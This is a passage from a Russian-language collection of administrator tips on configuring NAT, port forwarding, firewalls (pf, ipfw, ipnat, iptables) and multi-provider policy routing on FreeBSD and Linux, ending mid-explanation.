       block out
       antispoof quick for { lo $int_if }
    
       ##############       EXT_IF_OUT
    
       pass out quick on $ext_if inet tagged LAN_INET_NAT_TCP_UDP
       pass out quick on $ext_if inet tagged LAN_INET_NAT_ICMP
       
       pass out quick on $ext_if inet proto {tcp udp} from $ext_if to $dns port = dns
    
       pass out quick on $ext_if inet proto icmp from $ext_if to any icmp-type echoreq
    
       ##############         EXT_IF_IN
    
       pass in quick on $ext_if inet proto tcp from any to $ext_if port = ssh synproxy state (max 10)
       pass in quick on $ext_if inet proto icmp from any to $ext_if icmp-type echoreq
    
       ##############   INT_IF_IN
    
       pass in quick on $int_if inet proto {tcp udp} from $lan to !<no_if> tag LAN_INET_TCP_UDP
       pass in quick on $int_if inet from $lan to $int_if
    
       pass in quick on $int_if inet proto icmp from $lan to !<no_if>  icmp-type echoreq tag LAN_INET_ICMP
       pass in quick on $int_if inet proto icmp from $lan to $int_if icmp-type echoreq
    
    
    
    Пояснения.
    
    Пришедшие на внутр. интерфейс пакеты "метятся". Метятся только те пакеты, у
    которых dst addr любой, кроме всех внутренних и
    внешних интерфейсов. Это необходимо, если есть несколько подсетей и вы не
    хотите, что бы кто-либо из одной сети мог
    подключится к висящему сервису на другом интерфейсе.
    
    Впринципе здесь можно  вместо  !<no_if> указать any.
    Весь исходящий трафик с сервера в "мир" (кроме ДНС) и локальную сеть блокируется.
    
    ААА.ААА.ААА.ААА - IP DNS-сервера провайдера.
    
     
    ----* ipfw nat во FreeBSD 7   Автор: Pikador  [комментарии]
     
    В конфигурацию ядра добавляем:
    
       options         IPFIREWALL              #firewall
       options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
       options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
       options         IPDIVERT
       options         IPFIREWALL_FORWARD
       options         DUMMYNET
       options         IPFIREWALL_NAT          #ipfw kernel nat support
       options         LIBALIAS
    
    в /etc/make.conf:
    
       CFLAGS+= -DIPFIREWALL_NAT
    
    Далее пересобираем систему:
    
       cd /usr/src/ ; make builworld && make kernel KERNCONF=YourKern &&  make installworld
       reboot
    
    В конфигурационном файле ipfw:
    
       NatIP="111.111.111.111"
       ipfw nat 123 config ip ${NatIP} log
       ipfw add 10 nat 123 ip from 192.168.0.0/16 to any
       ipfw add 20 nat 123 ip from any to ${NatIP}
    
    Наслаждаемся достоинствами kernel nat
    
     
    ----* Настройка работы ipnat под большой нагрузкой (доп. ссылка 1)   Автор: Антон Южанинов  [комментарии]
     
    Для работы ipnat под большой нагрузкой (много трансляций) нужно 
    перед сборкой ядра изменить в файле /usr/src/sys/contrib/ipfilter/netinet/ip_nat.h 
    
       #undefine LARGE_NAT
    
    на
     
       #define LARGE_NAT
    
     
    ----* Балансировка двух каналов средствами ipfw под FreeBSD   Автор: Ivan Voytas  [комментарии]
     
    natd -p 8668 -a ip1 
    natd -p 8669 -a ip2 
    
    ipfw add divert 8668 ip from any to ip1 recv if1 
    ipfw add divert 8669 ip from any to ip2 recv if2 
    ipfw add check-state 
    ipfw add prob 0.5 divert 8668 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add divert 8669 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add fwd gw1 ip from ip1 to any out xmit if1 (если default на if1) 
    ipfw add fwd gw2 ip from ip2 to any out xmit if1 
    
     
    ----* В двух словах про включение NAT и Firewall в ОС FreeBSD (доп. ссылка 1)   Автор: hub.ru  [комментарии]
     
    Что бы поднять NAT и Firewall на FreeBSD надо:
    
    Скомпилировать ядро:
    Следующие строки нужно включить в /usr/src/sys/i386/conf/GENERIC файл конфигурации:
    
       options IPFIREWALL
       options IPDIVERT
       options IPFIREWALL_VERBOSE
       options IPFIREWALL_VERBOSE_LIMIT=10
       options DUMMYNET
       options TCP_DROP_SYNFIN
    
    Переходим в директорию /usr/src/
       make buildkernel KERNCONF=GENERIC
       make installkernel KERNCONF=GENERIC
    
    Следующие строки можно к примеру включить в rc.conf файл конфигурации:
    
       hostname="free"
       ifconfig_rl0="10.0.0.1"
       gateway_enable="YES"
       firewall_enable="YES"
       firewall_type="open"
       natd_enable="YES"
       natd_interface="rl0"
       natd_flags="-redirect_port tcp 10.0.0.10:80 80"
       tcp_extensions="NO"
       tcp_drop_synfin="YES"
       icmp_drop_redirect="YES"
       sendmail_enable="NONE"
    
    Для удаленного управления нужно добавить следующую строку:
       sshd_enable="YES"
    (возможно понадобится скопировать /etc/ssh/ssh_host_dsa_key.pub в /root/.ssh/authorized_keys
    
    Следующие строки можно включить в rc.firewall файл конфигурации (секция "open"):
    
       [Oo][Pp][Ee][Nn])
       oif="rl0"
       iif="tx0"
       oip="132.5.7.172"
       iip="10.0.0.1"
       lan="10.0.0.0/24"
       setup_loopback
       # allow all for LAN
       ${fwcmd} add 500 pass all from ${lan} to ${iip} via ${iif}
       ${fwcmd} add 550 pass all from ${iip} to ${lan} via ${iif}
       # download - 60K upload - 6K for all lan ip's
       ${fwcmd} add 600 pipe 1 ip from any to any in via ${oif}
       ${fwcmd} add 650 pipe 2 ip from any to any out via ${oif}
       # for selected ip's only
       # ${fwcmd} add 601 pipe 1 all from any to 10.0.0.10
       # ${fwcmd} add 651 pipe 2 all from 10.0.0.10 to any
       ${fwcmd} pipe 1 config bw 512Kbit/s
       ${fwcmd} pipe 2 config bw 48Kbit/s
       # dns setup
       ${fwcmd} add 770 pass tcp from any to ${oip} 53 setup
       ${fwcmd} add 780 pass udp from any domain to any
       ${fwcmd} add 790 pass udp from any to any domain
       # main setup
       ${fwcmd} add 800 pass tcp from any http,https,20-21,989-990 to any
       ${fwcmd} add 810 pass tcp from any to any http,https,20-21,989-990
       ${fwcmd} add 830 pass tcp from any pop3,pop3s,smtp,imap,imaps,aol to any
       ${fwcmd} add 840 pass tcp from any to any pop3,pop3s,smtp,imap,imaps,aol
       ${fwcmd} add 65000 deny ip from any to any
       ;;
     
    Где oip, oif - внешний интерфейс; iip, iif - внутренний; lan - внутренняя сеть.
    
    Такая конфигурация ipfw весьма параноидальна, и здесь приведена только в качестве примера. 
    На практике обычно нужен более открытый фаервол. 
    
     
    ----* pf и трансляция адресов на двух интерфейсах   Автор: DelGod  [комментарии]
     
    Решение оптимизировано для шлюза на флешке (не используется perl и другие "тяжелые" решения)
    
    -------------------------
    /usr/local/etc/rc.d/openvpn.sh
    -------------------------
    
    #!/bin/sh
    
    . /etc/rc.subr
    
    name=openvpn
    rcvar=`set_rcvar`
    
    prefix="/usr/local"
    
    openvpn_precmd()
    {
            for i in $openvpn_if ; do
                    # FreeBSD <= 5.4 does not know kldstat's -m option
                    # FreeBSD >= 6.0 does not add debug.* sysctl information
                    # in the default build - we check both to keep things simple
                    if ! sysctl debug.if_${i}_debug >/dev/null 2>&1 \
                            && ! kldstat -m if_${i} >/dev/null 2>&1 ; then
                            if ! kldload if_${i} ; then
                                    warn "Could not load $i module."
                                    return 1
                            fi
                    fi
            done
            return 0
    }
    
    start_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route add "$1" 193.201.61.65 >/dev/null")} }'`
            /bin/sleep 10 && pfctl -F all -f /etc/pf.conf_openvpn
    }
    
    stop_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route delete "$1" 193.201.61.65 >/dev/null")} }'`
            pfctl -F all -f /etc/pf.conf
            rm -f "$pidfile" || warn "Could not remove $pidfile."
    }
    
    extra_commands="reload"
    pidfile="/var/run/${name}.pid"
    command="/usr/local/sbin/${name}"
    start_precmd="openvpn_precmd"
    start_postcmd="start_postcmd"
    stop_postcmd="stop_postcmd"
    
    load_rc_config ${name}
    : ${openvpn_enable="NO"}
    : ${openvpn_flags=""}
    : ${openvpn_if=""}
    : ${openvpn_configfile="${prefix}/etc/openvpn/openvpn.conf"}
    : ${openvpn_dir="${prefix}/etc/openvpn"}
    required_files="${openvpn_configfile}"
    command_args="--cd ${openvpn_dir} --daemon --config ${openvpn_configfile} --writepid ${pidfile}"
    run_rc_command "$1"
    
    -------------------------
    /etc/pf.conf
    -------------------------
    
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    nat on $ext_if_t inet from <users> to any  -> $ext_if_t
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    /etc/pf.conf_openvpn
    -------------------------
    
    ext_if_o="tap0"
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    table <ukr> persist file "/var/db/ukr_nets"
    nat on $ext_if_t inet from <users> to <ukr>  -> $ext_if_t
    nat on $ext_if_o inet from <users> to !<ukr> -> $ext_if_o
    pass on $ext_if_o all
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    cron:
    -------------------------
    
    0 0 * * * /usr/bin/fetch -q -o "/var/db/ukr_nets" 'http://www.colocall.net/ua/?list'
    
     
    ----* Проброс портов с двух различных gateway на внутренний сервер через IPNAT   Автор: Жека  [комментарии]
     
    Иногда необходимо пробросить порты с двух различных gateway GW1 и GW2 на один внутренний сервер, 
    у которого в качестве default GW указан GW1.
    Прямой проброс и NAT невозможен, т.к. пакеты пришедшие из GW2 попытаются
    вернуться по маршруту через GW1.
    Есть следующий выход, это двойной NAT на GW2, при котором запрос приходит не
    снаружи, а с внутреннего IP.
    
    ed0 - внешний интерфейс
    lnc0 - интерфейс смотрящий внутрь.
    
    в ipnat.rules нужно прописать следующее:
       map ed0 10.6.10.0/24 -> 0.0.0.0/32 мапим локалку наружу
       map lnc0 0.0.0.0/0 -> 0.0.0.0/32 ремап внешних ip в локальные
       rdr ed0 0.0.0.0/0 port 80 -> 10.6.10.2 port 80 tcp форвард на внутренний сервер
    
     
    ----* Пример настройки NAT для двух сетей в FreeBSD 5.3 (доп. ссылка 1)   Автор: Vov  [комментарии]
     
    Стоит задача - выпустить свою сеть в инет через два разных интерфейса rl1 и rl2.
    Так как адреса в локали серые, то надо поднимать NAT. С учетом того, что
    динамической маршрутизации
    не предвидится, будем поднимать NAT на 2 интерфейса. Для этого нужно:
    
    Скомпилировать ядро с параметрами:
        options IPFIREWALL
        options IPFIREWALL_VERBOSE
        options IPFIREWALL_VERBOSE_LIMIT=20
        options IPFIREWALL_FORWARD
        options IPDIVERT
        options DUMMYNET
        options TCP_DROP_SYNFIN
    это необходимый минимум. На все случаи жизни )))))
    
    Далее, в rc.local пишем такие строки:
        natd -p 8668 -n rl1
        natd -p 8669 -n rl2
        #natd -p 8671 -n rl3
        #natd -p 8672 -n rl4
        #natd -p 8673 -n rl5
    Последние три строки - если кому надо поднимать NAT на большее количество интерфейсов.
    
    Следующее - правила ipfw:
     
        ipfw -f add divert 8668 all from #твоясеть# to any out via rl1
        ipfw -f add divert 8668 all from any to #адрес_rl1# in via rl1
     
        ipfw -f add divert 8669 all from #твоясеть# to any out via rl2
        ipfw -f add divert 8669 all from any to #адрес_rl2# in via rl2
    
    Теперь все, что будет выходить через внешние интерфейсы, будет правильно NATиться через них же. 
    Остается проверить маршрутизацию. Если  маска на rl2 /24. В этом случае все просто. 
    Стандартный шлюз (default gateway) прописан через rl1, а все, что идет на сеть
    999.888.0.0/24 будет
    автоматически бежать через rl2. Если же на rl2 выделена подсетка из нескольких
    адресов, то тогда надо
    писать жесткий марщрут на всю сеть 999.888.0.0/24 через rl2 на тот шлюз,
    который тебе дал провайдер N2.
    Его тоже можно прописать в rc.local отдельной строкой типа:
        route add 999.888.0.0/24 999.888.0.25
    
    У Sergey2005 заработала комбинация:
        ${fwcmd} add 40 divert 8668 all from #моя сеть# to not #подсеть провайдера "S"# out via rl1
        ${fwcmd} add 45 divert 8668 all from not #подсеть провайдера "S"# to any in via rl1
    
        ${fwcmd} add 50 divert 8669 all from #моя сеть# to #подсеть провайдера "S"# out via rl2
        ${fwcmd} add 55 divert 8669 all from #подсеть провайдера "S"# to any in via rl2
    
        natd -p 8668 -m -u -n rl1
        natd -p 8669 -m -u -n rl2 
    
     
    ----* Особенности использование ftp из-за фаервола ipfw/natd   Автор: globus  [комментарии]
     
    Необходимо выпустить пользователей на ftp сайты из локальной сети, но при этом не устанавливая 
    дополнительного ПО, используя только возможности FreeBSD 4.10.
    Этими возможностями, как ни странно, оказались ipfw и natd 
    вот собственно как все это прописывается.
    
    Исходные данные, FreeBSD 4.10 + настроенный nat правила для ipfw 
       ipfw -q add 100 divert natd from 192.168.20.0/24 to any 20, 21 out via $oif 
       ipfw -q add 200 divert natd from any 20, 21 to $iip in via $oif 
       ipfw -q add 300 allow tcp from any to any established 
       ipfw -q add 400 allow tcp from any to any setup 
    где $oif и $iip соответственно внешний интерфейс и внешний IP 
    
    теперь запускаем natd 
       /sbin/natd -m -s -u -punch_fw 500:200 -n xl1
    
    заострю внимание на параметре "-punch_fw" -этот параметр создает в фаерволе "ходы", 
    добавляя динамические правила. В моем случае эти правила начнутся с номера 500
    и будет их добавлено
    максимум 200 (понятно чем больше сеть, те больше нужно правил).
    
    Особое спасибо A Clockwork Orange.
    
     
    ----* Как в FreeBSD перебросить соединение через NAT во внутреннюю сеть  (доп. ссылка 1)   Автор: spanka  [комментарии]
     
     Вот реализация для ipfw:
    if1IP="ип_смотрящий_в_инет", if1="интерфейс_смотрящий_в_инет"
    ifLIP="ип_на_который хотим делать редирект"
      ipfw add divert natd tcp from any to ${if1IP} 80 via ${if1}
      ipfw add divert natd ip from any to ${ifLIP} to any via ${if1}
      ipfw add allow tcp from any to ${if1IP} 80 via any
      natd -n ${if1} -redirect_port tcp ${ifLIP}:80 80
    
    Решение от miaso <torov@wipline.ru>:
      tproxy -s 80 -r nobody -l /var/log/transparent_proxy.log [int_ip] 80 
    
     
    ----* Как в Linux перебросить соединение через NAT во внутреннюю сеть (доп. ссылка 1)   Автор: Dimez  [комментарии]
     
    Первый путь - пробрасывание только порта:
      1) iptables -t nat -A PREROUTING -p tcp -d EXT_R_IP --dport 10000 -j DNAT --to-destination LOCAL_IP:80
      2) iptables -A FORWARD -i eth0 -d LOCAL_IP -p tcp --dport 22 -j ACCEPT
    
    Второй вариант - выброс всей машины наружу (если есть свободные адреса):
      1) ifconfig eth0:0 NEW_IP netmask NETMASK broadcast BROADCAST
      2) route add NEW_IP gw GW netmask 0.0.0.0 metric 1 dev eth0:0
      3) iptables -t nat -A PREROUTING -p tcp -d NEW_IP -j DNAT --to-destination LOCAL_IP
      4) iptables -A FORWARD -i eth0 -d LOCAL_IP -j ACCEPT
    
    Обозначения: EXT_R_IP - внешний IP роутера, LOCAL_IP - внутренний IP машины,
    которую хочешь выбросить
      NEW_IP - новый IP на который хочешь посадить машину, которая имеет локальный LOCAL_IP
      NETMASK, BROADCAST, GW - внешние netmask, broadcast и gateway
    
     
    ----* Пример настройки NAT с привязкой к IP под Linux   [комментарии]
     
    Пример настройки NAT с привязкой к IP под Linux
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -o eth0 -j SNAT --to-source 212.23.98.45
    
    или (без привязки к IP)
    
      ipchains -A forward -j MASQ -s 192.168.0.0/16 -d 0.0.0.0/0
    или (через iproute2)
    
      ip rule add from 10.0.1.0/24 nat 254.147.38.14
    
    Другой способ трансляции адресов:
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -j MASQUERADE
    
     
    ----* Как организовать редирект порта на внутреннюю машину через ipnat в FreeBSD.   [комментарии]
     
    man 5 ipnat  в /etc/ipnat.conf:
      rdr fxp0 205.15.63.3/32 port 80 -> 192.168.1.1 port 80 tcp
    # Базансировка нагрузки между 2 IP:
      rdr le0 203.1.2.3/32 port 80 -> 203.1.2.3,203.1.2.4 port 80 tcp round-robin
    
     
    ----* Как настроить NAT (транслятор адресов) для нормальной работы с FTP и ICQ в Linux   [комментарии]
     
    iptables:
       modprobe iptable_nat
       modprobe ip_conntrack_ftp
       modprobe ip_nat_ftp                     
       modprobe ip_nat_irc
    ipchains:
       modprobe ip_masq_ftp
       modprobe ip_masq_raudio
       modprobe ip_masq_irc
       modprobe ip_masq_icq
    
     
    ----* Как обеспечить работу active FTP режима в FreeBSD NAT   [обсудить]
     
    В ipnat воспользуйтесь модулем ftp proxy:
      map fxp0 0/0 -> 0/32 proxy port ftp ftp/tcp
      map rl0 172.16.33.0/24 -> 212.46.231.50/32 proxy port ftp ftp/tcp
    не забудьте поместить правило трансляции ftp перед общим правилом трансляции, 
    порядок следования правил важен.
    
     
    ----* Как запустить трансляцию адресов (NAT) под FreeBSD   [комментарии]
     
    В /etc/rc.conf: 
      ipnat_enable="YES"
    
    В /etc/ipnat.rules: 
    Трансляция адресов (NAT):
    
      map ppp0 172.16.1.0/24 -> 194.46.124.53/32
    
    где, ppp0 - внешний интерфейс, 
    172.16.1.0/24 - внутренние IP, 
    194.46.124.53 - реальный IP внешнего интерфейса.
    
    Переброс порта во внутреннюю сеть:
    
       rdr ed0 294.16.9.6/32 port 8080 -> 192.168.0.7 port 8080 tcp
    
    где, ed0 - внешний интерфейс, 
    294.16.9.6 - реальный IP внешнего интерфейса, на который нужно обращаться из вне.
    192.168.0.7 - внутренний IP на который делается переброс.
    8080  - номер перебрасываемого порта.
    
    
    Перечитать: ipnat -CF -f /etc/ipnat.rules
    
     

       Policy routing

    ----* Использование нескольких сетевых стеков в Linux   Автор: Roman Timofeev ( ^rage^ )  [комментарии]
     
    В linux относительно давно появилась такая замечательная вещь, как неймспейсы
    (namespaces). Основное применение данной технологии - контейнерная
    виртуализация, но и на маршрутизаторе можно придумать много разных применений,
    так как среди неймспейсов есть "network namespaces".
    
    Network namespaces позволяют в рамках одной машины в каждом неймспейсе иметь:
    
    
  • свой набор таблиц маршрутизации (а их 2^31-1 шт)
  • свою arp-таблицу
  • свои правила iptables
  • свои устройства (а значит и qdisc + class'ы tc) NB: для выполнения нижеследующих примеров крайне желательно иметь свежий iproute2 и ядро. Создаются неймспейсы достаточно скучно и просто: ip netns add VROUTER ip netns add KUKYSEVRACI Создадим "виртуальны шнурок": ip link add name ve0a type veth peer name ve0b Добавим интерфейсы внутрь VROUTER: ip link set dev eth0 netns VROUTER ip link set dev ve0b netns VROUTER Выполнить команду в контексте определённого неймспейса можно так: ip netns exec VROUTER ip link show Настроим адреса: ip netns exec VROUTER ip a a 192.168.1.1/24 dev ve0b ip a a 192.168.1.2/24 dev ve0a ip netns exec VROUTER ip a a 10.140.48.16/24 dev eth0 Поднимем интерфейсы: ip link set dev ve0a up ip netns exec VROUTER ip link set dev eth0 up ip netns exec VROUTER ip link set dev ve0b up Шлюз по умолчанию: ip netns exec VROUTER ip r a default via 10.140.48.1 Посмотрим, что получилось: root@laptus:~# ip netns exec VROUTER ip r s default via 10.140.48.1 dev eth0 10.140.48.0/24 dev eth0 proto kernel scope link src 10.140.48.16 192.168.1.0/24 dev ve0b proto kernel scope link src 192.168.1.1 Добавим NAT: ip netns exec VROUTER iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to-source 10.140.48.16 Сделаем пару трейсов: root@laptus:~# ip netns exec VROUTER traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 10.140.48.1 (10.140.48.1) 0.148 ms 2 10.140.0.1 (10.140.0.1) 0.245 ms 3 border.yournet.ru (91.204.148.17) 0.436 ms 4 alisa.yournet.ru (91.204.151.2) 0.521 ms 5 sev-gw.yournet.ru (91.204.148.2) 8.975 ms 6 bl16-1-gw.spb.runnet.ru (194.190.255.25) 1.321 ms 7 bl16-1-gw.spb.runnet.ru (194.85.40.170) 1.785 ms 8 s14-1-gw.spb.runnet.ru (194.85.40.81) 1.456 ms 9 vuztc.spb.runnet.ru (194.190.255.170) 1.987 ms 10 opennet.ru (77.234.201.242) 2.395 ms root@laptus:~# traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 0.094 ms 2 10.140.48.1 (10.140.48.1) 0.751 ms 3 10.140.0.1 (10.140.0.1) 1.277 ms 4 border.yournet.ru (91.204.148.17) 2.061 ms 5 alisa.yournet.ru (91.204.151.2) 2.911 ms 6 sev-gw.yournet.ru (91.204.148.2) 6.770 ms 7 bl16-1-gw.spb.runnet.ru (194.190.255.25) 3.622 ms 8 bl16-1-gw.spb.runnet.ru (194.85.40.170) 5.262 ms 9 s14-1-gw.spb.runnet.ru (194.85.40.81) 4.135 ms 10 vuztc.spb.runnet.ru (194.190.255.170) 4.710 ms 11 opennet.ru (77.234.201.242) 7.220 ms
  •  
    ----* Перенаправление всего трафика через один шлюз в Fedora/Red Hat Linux   Автор: shadow_alone  [комментарии]
     
    При необходимости направить весь трафик с машины через шлюз, даже запросы к
    локальной сети, используем следующую конфигурацию сети (пример для Red
    Hat-совместимых дистрибутивов)
    
    /etc/sysconfig/network-scripts/ifcfg-eth0
    
       DEVICE=eth0
       BOOTPROTO=static
       BROADCAST=192.168.0.255
       IPADDR=192.168.0.100
       NETMASK=255.255.255.255
       SCOPE="peer 192.168.0.1"
       ONBOOT=yes
       
    /etc/sysconfig/network-scripts/route-eth0
    
       ADDRESS0=0.0.0.0
       NETMASK0=0.0.0.0
       GATEWAY0=192.168.0.1
    
    Теперь весь трафик от текущей машины будет ходить через шлюз 192.168.0.1, так как маска у нас /32.
    
     
    ----* Тонкости настройки Linux при подключении к двум и более провайдерам   Автор: Pavel V. Rochnyack  [комментарии]
     
    Подключение к интернет через нескольких провайдеров давно уже не редкость. 
    
    Раньше рассматриваемая тема называлась "линукс и два провайдера", но в
    суровой реальности провайдеров может быть и больше. 
    
    Также хочется вместо термина "провайдер" использовать "канал", поскольку
    некоторые люди путаются - "провайдер у меня один", а вот шлюзов (и
    адресов в различных подсетях) он предоставляет несколько (ну, так бывает
    нужно по разным мотивам). 
    
    Написано на эту тему также уже довольно много. Но есть что дополнить,
    поэтому приступим. 
    
    Вводная часть. 
    
    Итак, первое что требуется сделать для указания правил маршрутизации -
    это указать, к чему эти правила будут приводить. А приводить они должны
    к тому, что пакеты пойдут по разным шлюзам, такчто, вполне логично
    описать эти самые шлюзы. 
    
    Делается это с использованием набора пользовательских таблиц
    маршрутизации. Для удобства использования, им можно присваивать
    admin-friendly имена, что делается прописыванием строк в файл
    /etc/iproute2/rt_tables. Строки имеют вид 
    
    примерно такой: 
    
       100 northtelecom 
       101 southtelecom 
    
    Таблицы можно не именовать, а использовать во всех подкомандах команды
    ip безликие цифры, в этом случае ничего в файл rt_tables прописывать не
    потребуется. Также, часть документации таблицы именует именами вида
    "Т1", "Т2" что тоже, на мой взгляд, слабо удобно при просмотре правил. 
    
    Отлично, таблицы поименованы. Далее требуется указать шлюзы, на которые
    требуется отправлять трафик. 
    
    Обычно для этого прописывается пара команд в системный файл-скрипт,
    который отвечает за "подъем" маршрутизатора. 
    
    На PC-маршрутизаторе вполне можно для этих целей использовать
    непосредственно /etc/rc.local. Итак, команды указания маршрутов в
    интернет выглядят так: 
    
       ip route add default via northtelecom_gw table northtelecom 
       ip route add default via southtelecom_gw table southtelecom 
    
    Отлично! Мы создали две таблицы маршрутизации, внесли в них значения
    двух шлюзов для маршрутизации трафика. 
    
    Теперь эти таблицы надо начать применять. Обдуманное применение таблиц
    маршрутизации заключается в использовании команды "ip rule" и выглядит
    это примерно так: 
    
       ip rule add from northtelecom_ip lookup northtelecom 
       ip rule add from southtelecom_ip lookup southtelecom 
    
    На самом деле, это еще не совсем обдуманное применение, поскольку не
    указаны приоритеты правил (забегая вперед, уточним что они указываются
    использованием "ip rule add .... pref <priority>"). 
    
    Посмотрим на получившийся результат: 
    
       debian:~# ip ru 
       0: from all lookup local 
       32764: from southtelecom_ip lookup southtelecom 
       32765: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    Что означает полученный вывод ? 
    
    Он означает, что пакет при выборе пути к месту назначения будет сначала
    проверен правилом 0, который отправит поиск маршрута в таблицу "local".
    Просмотр таблицы "local" проводится на предмет "не является ли
    получателем" локальная машина, широковещательный или сетевой адреса
    интерфейсов маршрутизатора. Соответствующими маршрутами заполняют эту
    таблицу команды конфигурации сетевых интерфейсов. 
    
    Далее, пакет будет проверен нашими двумя правилами 32764 и 32765, на
    предмет адреса отправителя, и, в случае совпадения, будет отправлен в
    соответствующую таблицу маршрутизации. 
    
    Если адрес отправителя не совпадет с southtelecom_ip или
    northtelecom_ip, поиск маршрута пойдет с использованием таблицы "main",
    а таблица "default" (пока еще?) дистрибутивно чиста. Как вы могли
    заметить, если маршрут не будет найден в таблице, на которую поиск будет
    завернут правилом, то поиски-проверки будут продолжены со следующего
    правила. 
    
    Таблица "main" - это основная таблица, используемая по-умолчанию всеми
    командами-программами, связанными с маршрутизацией. При поднятии
    интерфейсов в неё прописываются маршруты к подсетям интерфейсов,
    стартовые скрипты также заносят в эту таблицу значение шлюза
    по-умолчанию. Использование команды "route add" администратором также
    может дополнить таблицу машрутами. В общем случае, таблица "main" всегда
    содержит подходящий для пакета маршрут (например шлюз по-умолчанию). 
    
    Закончим вводную часть и приступим к "первому сложному моменту". 
    
    Некоторые источники рекомендуют использовать еще и примерно такие
    команды при описании таблиц провайдеров: 
    
       ip route add northtelecom_net dev northtelecom_if src northtelecom_ip table northtelecom 
       ip route add southtelecom_net dev southtelecom_if src southtelecom_ip table southtelecom 
    
    Во-первых, хочется заметить что можно упростить команду, опустив
    уточнение "src northtelecom_ip", поскольку таблица будет выбираться
    путем сравнения IP-адреса отправителя пакета с некоторым значением, т.е.
    адрес уже будет задан. 
    
    А во-вторых, объясню более подробно, зачем нужны соответствующие маршруты. 
    
    Без дополнительной команды таблица northtelecom содержит следующие
    маршруты (да, пока, только один маршрут): 
    
       debian:~# ip ro sh table northtelecom 
       default via northtelecom_gw dev northtelecom_if 
    
    В этом случае, пакетик, который отправляется с адреса northtelecom_ip к
    одному из хостов в сети провайдера northtelecom будет послан не
    непосредственно к этому хосту, а отправлен на машрутизатор провайдера.
    Конечно же, лучше отправлять пакет непосредственно к хосту, для чего
    требуется соответствующее уточнение таблиц маршрутизации командами 
    
       ip route add northtelecom_net dev northtelecom_if table northtelecom 
       ip route add southtelecom_net dev southtelecom_if table southtelecom 
    
    Вроде бы всё здорово, пакеты в непосредственно присоединенные сети
    провайдеров идут напрямую к хостам. Но неужели у нас отсутствует
    локальная сеть ? Чаще всего она у нас есть. Но что же произойдет, если
    из локальной сети будет произведено обращение к одному из адресов
    northtelecom_ip или southtelecom_ip ? 
    
    Посмотрим еще раз на вывод команды "ip rule" 
    
    
       debian:~# ip ru 
       0: from all lookup local 
       32764: from southtelecom_ip lookup southtelecom 
       32765: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    В соответствии с правилами, маршрут отправки пакетов, исходящих с
    адресов northtelecom_ip или southtelecom_ip, будет производиться в
    таблицах northtelecom и southtelecom, что в конечном счете приведет к
    отправке пакета в сторону шлюза провайдера. Поскольку это слегка не то,
    что нам нужно, придется дополнить таблицы еще парочкой маршрутов. 
    
       ip route add local_net dev local_if table northtelecom 
       ip route add local_net dev local_if table southtelecom 
    
    А если у нас есть еще и внутренние маршрутизаторы, и подсетки, скрытые
    за ними, то всё аналогично, требуется добавление каждой подсетки в
    каждую таблицу провайдеров. 
    
       ip route add local_net2 via local_router2 table northtelecom 
       ip route add local_net3 via local_router2 table northtelecom 
       ip route add local_net2 via local_router2 table southtelecom 
       ip route add local_net3 via local_router2 table southtelecom 
    
    Много правил, много команд, легко запутаться, потерять, забыть что-то
    прописать ... Неужели нельзя проще ? 
    
    Как показывает практика, можно, но не всегда. 
    
    Легкий трюк, который в большинстве случаев помогает, выглядит так: 
    
       ip rule add lookup main pref 1000 
       ip ro add default via (northtelecom|southtelecom)_gw table default 
       ip ro delete default table main 
    
    Что он означает? Посмотрим на таблицу правил командой "ip rule" (да, я
    уже перенабрал набор правил с указанием приоритетов) 
    
       debian:~# ip ru 
       0: from all lookup local 
       1000: from all lookup main 
       3000: from southtelecom_ip lookup southtelecom 
       3010: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    Теперь для исходящих пакетов до поиска маршрутов в таблицах провайдеров
    будет осуществлен поиск маршрута в таблице "main", а она, как было
    написано выше, содержит максимум информации о маршрутах, в том числе и
    маршруты в локальные сети, как присоединенные напрямую, так и через
    внутренние маршрутизаторы. Чтобы поиск маршрута в таблице "main" не
    закончился отправкой пакета в "шлюз по умолчанию", мы перенесем его
    указание в таблицу "default". 
    
    Всё, теперь локальные и присоединенные сети вносить в таблицы
    "southtelecom" и "northtelecom" необходимости нет. Достаточно эти
    таблицы сформировать командами 
    
       ip route add default via northtelecom_gw table northtelecom 
       ip route add default via southtelecom_gw table southtelecom
    
    и получить работоспособность. Но этот легкий трюк имеет некоторый
    побочный эффект, который иногда ограничивает его прямое применение. 
    
    Допустим, что от хоста из сети southtelecom_net идет обращение к
    northtelecom_ip. Поскольку теперь маршрут приоритетно ищется в таблице
    main, то ответные пакеты с адреса northtelecom_ip будут отправлены через
    интерфейс southtelecom_if непосредственно к обратившемуся хосту. C одной
    стороны, это можеть быть здорово, пакеты пойдут кратчайшим путем, мы
    можем ожидать более высокой скорости передачи ответа и массы других
    полезных вещей, но с другой стороны это может оказаться не тем, чего от
    нас ожидал наш провайдер southtelecom, который ограничил нас на нашем
    порту коммутатора парой MAC+IP... 
    
    В общем, вышеописаный трюк - это трюк для слегка ленивых. Оптимальным
    методом решения задачи является создание третьей пользовательской
    таблицы "localnets" и указание в ней части маршрутов (маршрутов к
    локальным сетям) из таблицы main. В этой конфигурации, ответ при
    обращении из сети southtelecom_net к адресу northtelecom_ip пойдет точно
    также, как если бы второй канал в сеть southtelecom_net на
